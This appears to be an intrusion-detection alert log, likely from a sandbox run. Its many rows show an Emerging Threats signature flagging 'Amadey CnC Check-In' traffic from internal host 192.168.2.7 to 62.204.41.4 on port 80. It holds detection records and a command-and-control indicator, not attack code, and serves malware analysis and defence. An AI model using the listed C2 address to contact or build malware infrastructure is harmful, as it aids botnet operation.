192.168.2.762.204.41.450068802027700 02/06/23-18:37:32.325882	TCP	2027700	ET TROJAN Amadey CnC Check-In	50068	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450166802027700 02/06/23-18:37:57.344196	TCP	2027700	ET TROJAN Amadey CnC Check-In	50166	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449912802027700 02/06/23-18:36:48.704071	TCP	2027700	ET TROJAN Amadey CnC Check-In	49912	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449743802027700 02/06/23-18:36:02.235832	TCP	2027700	ET TROJAN Amadey CnC Check-In	49743	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450010802027700 02/06/23-18:37:17.037593	TCP	2027700	ET TROJAN Amadey CnC Check-In	50010	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450264802027700 02/06/23-18:38:22.550322	TCP	2027700	ET TROJAN Amadey CnC Check-In	50264	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450362802027700 02/06/23-18:38:49.786551	TCP	2027700	ET TROJAN Amadey CnC Check-In	50362	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449909802027700 02/06/23-18:36:47.991595	TCP	2027700	ET TROJAN Amadey CnC Check-In	49909	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450335802027700 02/06/23-18:38:41.243353	TCP	2027700	ET TROJAN Amadey CnC Check-In	50335	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449899802027700 02/06/23-18:36:42.575366	TCP	2027700	ET TROJAN Amadey CnC Check-In	49899	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449997802027700 02/06/23-18:37:12.438413	TCP	2027700	ET TROJAN Amadey CnC Check-In	49997	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450080802027700 02/06/23-18:37:35.199981	TCP	2027700	ET TROJAN Amadey CnC Check-In	50080	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449870802027700 02/06/23-18:36:34.488374	TCP	2027700	ET TROJAN Amadey CnC Check-In	49870	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450273802027700 02/06/23-18:38:25.058834	TCP	2027700	ET TROJAN Amadey CnC Check-In	50273	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450077802027700 02/06/23-18:37:34.482978	TCP	2027700	ET TROJAN Amadey CnC Check-In	50077	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449833802027700 02/06/23-18:36:25.603474	TCP	2027700	ET TROJAN Amadey CnC Check-In	49833	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450007802027700 02/06/23-18:37:16.259881	TCP	2027700	ET TROJAN Amadey CnC Check-In	50007	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449874802027700 02/06/23-18:36:36.510727	TCP	2027700	ET TROJAN Amadey CnC Check-In	49874	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450049802027700 02/06/23-18:37:26.579536	TCP	2027700	ET TROJAN Amadey CnC Check-In	50049	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450334802027700 02/06/23-18:38:41.003924	TCP	2027700	ET TROJAN Amadey CnC Check-In	50334	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450363802027700 02/06/23-18:38:50.019719	TCP	2027700	ET TROJAN Amadey CnC Check-In	50363	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449998802027700 02/06/23-18:37:12.834460	TCP	2027700	ET TROJAN Amadey CnC Check-In	49998	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450245802027700 02/06/23-18:38:18.033800	TCP	2027700	ET TROJAN Amadey CnC Check-In	50245	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450138802027700 02/06/23-18:37:50.675317	TCP	2027700	ET TROJAN Amadey CnC Check-In	50138	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449744802027700 02/06/23-18:36:02.475154	TCP	2027700	ET TROJAN Amadey CnC Check-In	49744	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449940802027700 02/06/23-18:36:57.476531	TCP	2027700	ET TROJAN Amadey CnC Check-In	49940	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449785802027700 02/06/23-18:36:12.181176	TCP	2027700	ET TROJAN Amadey CnC Check-In	49785	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450008802027700 02/06/23-18:37:16.510743	TCP	2027700	ET TROJAN Amadey CnC Check-In	50008	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450204802027700 02/06/23-18:38:06.733576	TCP	2027700	ET TROJAN Amadey CnC Check-In	50204	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450150802027700 02/06/23-18:37:53.545295	TCP	2027700	ET TROJAN Amadey CnC Check-In	50150	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449839802027700 02/06/23-18:36:27.025983	TCP	2027700	ET TROJAN Amadey CnC Check-In	49839	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449928802027700 02/06/23-18:36:53.692434	TCP	2027700	ET TROJAN Amadey CnC Check-In	49928	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449969802027700 02/06/23-18:37:04.479000	TCP	2027700	ET TROJAN Amadey CnC Check-In	49969	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450064802027700 02/06/23-18:37:30.054050	TCP	2027700	ET TROJAN Amadey CnC Check-In	50064	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450208802027700 02/06/23-18:38:09.067569	TCP	2027700	ET TROJAN Amadey CnC Check-In	50208	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450306802027700 02/06/23-18:38:34.417912	TCP	2027700	ET TROJAN Amadey CnC Check-In	50306	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450162802027700 02/06/23-18:37:56.405411	TCP	2027700	ET TROJAN Amadey CnC Check-In	50162	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450119802027700 02/06/23-18:37:44.576881	TCP	2027700	ET TROJAN Amadey CnC Check-In	50119	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449944802027700 02/06/23-18:36:58.418493	TCP	2027700	ET TROJAN Amadey CnC Check-In	49944	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449791802027700 02/06/23-18:36:13.602771	TCP	2027700	ET TROJAN Amadey CnC Check-In	49791	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450220802027700 02/06/23-18:38:11.948249	TCP	2027700	ET TROJAN Amadey CnC Check-In	50220	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450223802027700 02/06/23-18:38:12.656456	TCP	2027700	ET TROJAN Amadey CnC Check-In	50223	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450125802027700 02/06/23-18:37:46.016414	TCP	2027700	ET TROJAN Amadey CnC Check-In	50125	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449861802027700 02/06/23-18:36:32.032216	TCP	2027700	ET TROJAN Amadey CnC Check-In	49861	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450217802027700 02/06/23-18:38:11.221533	TCP	2027700	ET TROJAN Amadey CnC Check-In	50217	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449855802027700 02/06/23-18:36:30.616176	TCP	2027700	ET TROJAN Amadey CnC Check-In	49855	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449953802027700 02/06/23-18:37:00.586145	TCP	2027700	ET TROJAN Amadey CnC Check-In	49953	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450036802027700 02/06/23-18:37:23.421959	TCP	2027700	ET TROJAN Amadey CnC Check-In	50036	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450134802027700 02/06/23-18:37:48.466411	TCP	2027700	ET TROJAN Amadey CnC Check-In	50134	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449769802027700 02/06/23-18:36:08.538973	TCP	2027700	ET TROJAN Amadey CnC Check-In	49769	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449858802027700 02/06/23-18:36:31.320590	TCP	2027700	ET TROJAN Amadey CnC Check-In	49858	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450051802027700 02/06/23-18:37:27.043305	TCP	2027700	ET TROJAN Amadey CnC Check-In	50051	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450181802027700 02/06/23-18:38:00.930275	TCP	2027700	ET TROJAN Amadey CnC Check-In	50181	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450175802027700 02/06/23-18:37:59.517986	TCP	2027700	ET TROJAN Amadey CnC Check-In	50175	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449925802027700 02/06/23-18:36:52.126736	TCP	2027700	ET TROJAN Amadey CnC Check-In	49925	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450092802027700 02/06/23-18:37:38.122805	TCP	2027700	ET TROJAN Amadey CnC Check-In	50092	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450319802027700 02/06/23-18:38:37.557364	TCP	2027700	ET TROJAN Amadey CnC Check-In	50319	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449772802027700 02/06/23-18:36:09.270270	TCP	2027700	ET TROJAN Amadey CnC Check-In	49772	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449801802027700 02/06/23-18:36:16.822547	TCP	2027700	ET TROJAN Amadey CnC Check-In	49801	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449842802027700 02/06/23-18:36:27.765216	TCP	2027700	ET TROJAN Amadey CnC Check-In	49842	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449972802027700 02/06/23-18:37:05.232422	TCP	2027700	ET TROJAN Amadey CnC Check-In	49972	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450277802027700 02/06/23-18:38:27.380412	TCP	2027700	ET TROJAN Amadey CnC Check-In	50277	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450236802027700 02/06/23-18:38:15.815189	TCP	2027700	ET TROJAN Amadey CnC Check-In	50236	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450023802027700 02/06/23-18:37:20.267374	TCP	2027700	ET TROJAN Amadey CnC Check-In	50023	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450147802027700 02/06/23-18:37:52.828888	TCP	2027700	ET TROJAN Amadey CnC Check-In	50147	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449883802027700 02/06/23-18:36:38.704700	TCP	2027700	ET TROJAN Amadey CnC Check-In	49883	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450106802027700 02/06/23-18:37:41.418242	TCP	2027700	ET TROJAN Amadey CnC Check-In	50106	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450153802027700 02/06/23-18:37:54.264449	TCP	2027700	ET TROJAN Amadey CnC Check-In	50153	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449788802027700 02/06/23-18:36:12.897781	TCP	2027700	ET TROJAN Amadey CnC Check-In	49788	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449802802027700 02/06/23-18:36:18.022306	TCP	2027700	ET TROJAN Amadey CnC Check-In	49802	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450130802027700 02/06/23-18:37:47.251536	TCP	2027700	ET TROJAN Amadey CnC Check-In	50130	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449863802027700 02/06/23-18:36:32.512023	TCP	2027700	ET TROJAN Amadey CnC Check-In	49863	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450225802027700 02/06/23-18:38:13.126471	TCP	2027700	ET TROJAN Amadey CnC Check-In	50225	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450047802027700 02/06/23-18:37:26.104922	TCP	2027700	ET TROJAN Amadey CnC Check-In	50047	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450286802027700 02/06/23-18:38:29.567763	TCP	2027700	ET TROJAN Amadey CnC Check-In	50286	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450188802027700 02/06/23-18:38:02.626278	TCP	2027700	ET TROJAN Amadey CnC Check-In	50188	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449976802027700 02/06/23-18:37:06.213926	TCP	2027700	ET TROJAN Amadey CnC Check-In	49976	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450029802027700 02/06/23-18:37:21.731774	TCP	2027700	ET TROJAN Amadey CnC Check-In	50029	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449820802027700 02/06/23-18:36:22.420698	TCP	2027700	ET TROJAN Amadey CnC Check-In	49820	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449958802027700 02/06/23-18:37:01.789883	TCP	2027700	ET TROJAN Amadey CnC Check-In	49958	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450258802027700 02/06/23-18:38:21.134137	TCP	2027700	ET TROJAN Amadey CnC Check-In	50258	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450102802027700 02/06/23-18:37:40.471333	TCP	2027700	ET TROJAN Amadey CnC Check-In	50102	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449798802027700 02/06/23-18:36:15.438757	TCP	2027700	ET TROJAN Amadey CnC Check-In	49798	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449740802027700 02/06/23-18:36:01.508139	TCP	2027700	ET TROJAN Amadey CnC Check-In	49740	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449891802027700 02/06/23-18:36:40.650924	TCP	2027700	ET TROJAN Amadey CnC Check-In	49891	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449817802027700 02/06/23-18:36:21.693658	TCP	2027700	ET TROJAN Amadey CnC Check-In	49817	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450243802027700 02/06/23-18:38:17.517772	TCP	2027700	ET TROJAN Amadey CnC Check-In	50243	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450338802027700 02/06/23-18:38:41.974959	TCP	2027700	ET TROJAN Amadey CnC Check-In	50338	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449835802027700 02/06/23-18:36:26.067781	TCP	2027700	ET TROJAN Amadey CnC Check-In	49835	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450065802027700 02/06/23-18:37:30.338043	TCP	2027700	ET TROJAN Amadey CnC Check-In	50065	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450261802027700 02/06/23-18:38:21.845480	TCP	2027700	ET TROJAN Amadey CnC Check-In	50261	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450215802027700 02/06/23-18:38:10.750044	TCP	2027700	ET TROJAN Amadey CnC Check-In	50215	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450083802027700 02/06/23-18:37:35.944831	TCP	2027700	ET TROJAN Amadey CnC Check-In	50083	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450019802027700 02/06/23-18:37:19.314761	TCP	2027700	ET TROJAN Amadey CnC Check-In	50019	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449986802027700 02/06/23-18:37:08.750839	TCP	2027700	ET TROJAN Amadey CnC Check-In	49986	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450120802027700 02/06/23-18:37:44.810267	TCP	2027700	ET TROJAN Amadey CnC Check-In	50120	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450014802027700 02/06/23-18:37:18.030710	TCP	2027700	ET TROJAN Amadey CnC Check-In	50014	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449881802027700 02/06/23-18:36:38.196455	TCP	2027700	ET TROJAN Amadey CnC Check-In	49881	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449886802027700 02/06/23-18:36:39.465156	TCP	2027700	ET TROJAN Amadey CnC Check-In	49886	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450037802027700 02/06/23-18:37:23.652171	TCP	2027700	ET TROJAN Amadey CnC Check-In	50037	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450055802027700 02/06/23-18:37:27.766285	TCP	2027700	ET TROJAN Amadey CnC Check-In	50055	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450233802027700 02/06/23-18:38:15.078905	TCP	2027700	ET TROJAN Amadey CnC Check-In	50233	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449935802027700 02/06/23-18:36:56.304075	TCP	2027700	ET TROJAN Amadey CnC Check-In	49935	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450171802027700 02/06/23-18:37:58.553511	TCP	2027700	ET TROJAN Amadey CnC Check-In	50171	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450202802027700 02/06/23-18:38:06.231570	TCP	2027700	ET TROJAN Amadey CnC Check-In	50202	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450085802027700 02/06/23-18:37:36.424991	TCP	2027700	ET TROJAN Amadey CnC Check-In	50085	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449843802027700 02/06/23-18:36:28.008839	TCP	2027700	ET TROJAN Amadey CnC Check-In	49843	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450263802027700 02/06/23-18:38:22.311708	TCP	2027700	ET TROJAN Amadey CnC Check-In	50263	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450248802027700 02/06/23-18:38:18.734487	TCP	2027700	ET TROJAN Amadey CnC Check-In	50248	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450284802027700 02/06/23-18:38:29.098650	TCP	2027700	ET TROJAN Amadey CnC Check-In	50284	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449871802027700 02/06/23-18:36:35.146966	TCP	2027700	ET TROJAN Amadey CnC Check-In	49871	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450027802027700 02/06/23-18:37:21.251923	TCP	2027700	ET TROJAN Amadey CnC Check-In	50027	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449757802027700 02/06/23-18:36:05.614238	TCP	2027700	ET TROJAN Amadey CnC Check-In	49757	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449876802027700 02/06/23-18:36:37.001689	TCP	2027700	ET TROJAN Amadey CnC Check-In	49876	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450198802027700 02/06/23-18:38:05.080347	TCP	2027700	ET TROJAN Amadey CnC Check-In	50198	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449873802027700 02/06/23-18:36:36.003660	TCP	2027700	ET TROJAN Amadey CnC Check-In	49873	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450024802027700 02/06/23-18:37:20.506098	TCP	2027700	ET TROJAN Amadey CnC Check-In	50024	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450205802027700 02/06/23-18:38:07.442403	TCP	2027700	ET TROJAN Amadey CnC Check-In	50205	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449948802027700 02/06/23-18:36:59.384504	TCP	2027700	ET TROJAN Amadey CnC Check-In	49948	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450057802027700 02/06/23-18:37:28.262420	TCP	2027700	ET TROJAN Amadey CnC Check-In	50057	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449729802027700 02/06/23-18:35:57.348763	TCP	2027700	ET TROJAN Amadey CnC Check-In	49729	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449907802027700 02/06/23-18:36:47.522865	TCP	2027700	ET TROJAN Amadey CnC Check-In	49907	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450098802027700 02/06/23-18:37:39.529541	TCP	2027700	ET TROJAN Amadey CnC Check-In	50098	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450235802027700 02/06/23-18:38:15.569378	TCP	2027700	ET TROJAN Amadey CnC Check-In	50235	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449830802027700 02/06/23-18:36:24.829107	TCP	2027700	ET TROJAN Amadey CnC Check-In	49830	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449989802027700 02/06/23-18:37:09.476584	TCP	2027700	ET TROJAN Amadey CnC Check-In	49989	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450016802027700 02/06/23-18:37:18.532774	TCP	2027700	ET TROJAN Amadey CnC Check-In	50016	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450207802027700 02/06/23-18:38:08.630704	TCP	2027700	ET TROJAN Amadey CnC Check-In	50207	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450276802027700 02/06/23-18:38:26.300126	TCP	2027700	ET TROJAN Amadey CnC Check-In	50276	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449848802027700 02/06/23-18:36:28.944538	TCP	2027700	ET TROJAN Amadey CnC Check-In	49848	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450230802027700 02/06/23-18:38:14.375521	TCP	2027700	ET TROJAN Amadey CnC Check-In	50230	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450271802027700 02/06/23-18:38:24.266112	TCP	2027700	ET TROJAN Amadey CnC Check-In	50271	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450100802027700 02/06/23-18:37:39.998889	TCP	2027700	ET TROJAN Amadey CnC Check-In	50100	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449807802027700 02/06/23-18:36:19.287197	TCP	2027700	ET TROJAN Amadey CnC Check-In	49807	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449978802027700 02/06/23-18:37:06.699430	TCP	2027700	ET TROJAN Amadey CnC Check-In	49978	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450093802027700 02/06/23-18:37:38.357594	TCP	2027700	ET TROJAN Amadey CnC Check-In	50093	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450129802027700 02/06/23-18:37:46.992346	TCP	2027700	ET TROJAN Amadey CnC Check-In	50129	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449730802027700 02/06/23-18:35:58.016249	TCP	2027700	ET TROJAN Amadey CnC Check-In	49730	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450052802027700 02/06/23-18:37:27.283164	TCP	2027700	ET TROJAN Amadey CnC Check-In	50052	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450307802027700 02/06/23-18:38:34.659310	TCP	2027700	ET TROJAN Amadey CnC Check-In	50307	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450348802027700 02/06/23-18:38:46.302644	TCP	2027700	ET TROJAN Amadey CnC Check-In	50348	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449866802027700 02/06/23-18:36:33.225481	TCP	2027700	ET TROJAN Amadey CnC Check-In	49866	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450139802027700 02/06/23-18:37:50.922595	TCP	2027700	ET TROJAN Amadey CnC Check-In	50139	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449860802027700 02/06/23-18:36:31.786991	TCP	2027700	ET TROJAN Amadey CnC Check-In	49860	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449777802027700 02/06/23-18:36:10.512879	TCP	2027700	ET TROJAN Amadey CnC Check-In	49777	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450228802027700 02/06/23-18:38:13.886569	TCP	2027700	ET TROJAN Amadey CnC Check-In	50228	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449955802027700 02/06/23-18:37:01.055369	TCP	2027700	ET TROJAN Amadey CnC Check-In	49955	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450090802027700 02/06/23-18:37:37.652979	TCP	2027700	ET TROJAN Amadey CnC Check-In	50090	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449973802027700 02/06/23-18:37:05.465390	TCP	2027700	ET TROJAN Amadey CnC Check-In	49973	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450240802027700 02/06/23-18:38:16.797444	TCP	2027700	ET TROJAN Amadey CnC Check-In	50240	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450311802027700 02/06/23-18:38:35.648201	TCP	2027700	ET TROJAN Amadey CnC Check-In	50311	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449884802027700 02/06/23-18:36:38.947006	TCP	2027700	ET TROJAN Amadey CnC Check-In	49884	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450044802027700 02/06/23-18:37:25.381632	TCP	2027700	ET TROJAN Amadey CnC Check-In	50044	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450222802027700 02/06/23-18:38:12.425383	TCP	2027700	ET TROJAN Amadey CnC Check-In	50222	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450133802027700 02/06/23-18:37:48.134151	TCP	2027700	ET TROJAN Amadey CnC Check-In	50133	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449795802027700 02/06/23-18:36:14.536822	TCP	2027700	ET TROJAN Amadey CnC Check-In	49795	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449838802027700 02/06/23-18:36:26.789629	TCP	2027700	ET TROJAN Amadey CnC Check-In	49838	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450151802027700 02/06/23-18:37:53.780649	TCP	2027700	ET TROJAN Amadey CnC Check-In	50151	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449927802027700 02/06/23-18:36:52.819701	TCP	2027700	ET TROJAN Amadey CnC Check-In	49927	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450062802027700 02/06/23-18:37:29.485225	TCP	2027700	ET TROJAN Amadey CnC Check-In	50062	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450317802027700 02/06/23-18:38:37.080325	TCP	2027700	ET TROJAN Amadey CnC Check-In	50317	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449726802027700 02/06/23-18:35:56.260662	TCP	2027700	ET TROJAN Amadey CnC Check-In	49726	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449850802027700 02/06/23-18:36:29.439544	TCP	2027700	ET TROJAN Amadey CnC Check-In	49850	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450279802027700 02/06/23-18:38:27.884547	TCP	2027700	ET TROJAN Amadey CnC Check-In	50279	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449945802027700 02/06/23-18:36:58.654499	TCP	2027700	ET TROJAN Amadey CnC Check-In	49945	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450149802027700 02/06/23-18:37:53.313477	TCP	2027700	ET TROJAN Amadey CnC Check-In	50149	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450345802027700 02/06/23-18:38:44.689333	TCP	2027700	ET TROJAN Amadey CnC Check-In	50345	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450238802027700 02/06/23-18:38:16.299287	TCP	2027700	ET TROJAN Amadey CnC Check-In	50238	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449767802027700 02/06/23-18:36:08.035707	TCP	2027700	ET TROJAN Amadey CnC Check-In	49767	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449749802027700 02/06/23-18:36:03.660431	TCP	2027700	ET TROJAN Amadey CnC Check-In	49749	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449904802027700 02/06/23-18:36:43.781750	TCP	2027700	ET TROJAN Amadey CnC Check-In	49904	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449815802027700 02/06/23-18:36:21.210734	TCP	2027700	ET TROJAN Amadey CnC Check-In	49815	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450327802027700 02/06/23-18:38:39.273408	TCP	2027700	ET TROJAN Amadey CnC Check-In	50327	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450250802027700 02/06/23-18:38:19.214721	TCP	2027700	ET TROJAN Amadey CnC Check-In	50250	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450291802027700 02/06/23-18:38:30.738198	TCP	2027700	ET TROJAN Amadey CnC Check-In	50291	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449856802027700 02/06/23-18:36:30.850298	TCP	2027700	ET TROJAN Amadey CnC Check-In	49856	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450161802027700 02/06/23-18:37:56.171482	TCP	2027700	ET TROJAN Amadey CnC Check-In	50161	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450072802027700 02/06/23-18:37:33.278393	TCP	2027700	ET TROJAN Amadey CnC Check-In	50072	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450297802027700 02/06/23-18:38:32.224802	TCP	2027700	ET TROJAN Amadey CnC Check-In	50297	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449822802027700 02/06/23-18:36:22.933332	TCP	2027700	ET TROJAN Amadey CnC Check-In	49822	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450167802027700 02/06/23-18:37:57.576211	TCP	2027700	ET TROJAN Amadey CnC Check-In	50167	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450256802027700 02/06/23-18:38:20.656895	TCP	2027700	ET TROJAN Amadey CnC Check-In	50256	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449911802027700 02/06/23-18:36:48.462366	TCP	2027700	ET TROJAN Amadey CnC Check-In	49911	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450078802027700 02/06/23-18:37:34.718345	TCP	2027700	ET TROJAN Amadey CnC Check-In	50078	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450266802027700 02/06/23-18:38:23.033535	TCP	2027700	ET TROJAN Amadey CnC Check-In	50266	80	192.168.2.7	62.204.41.4
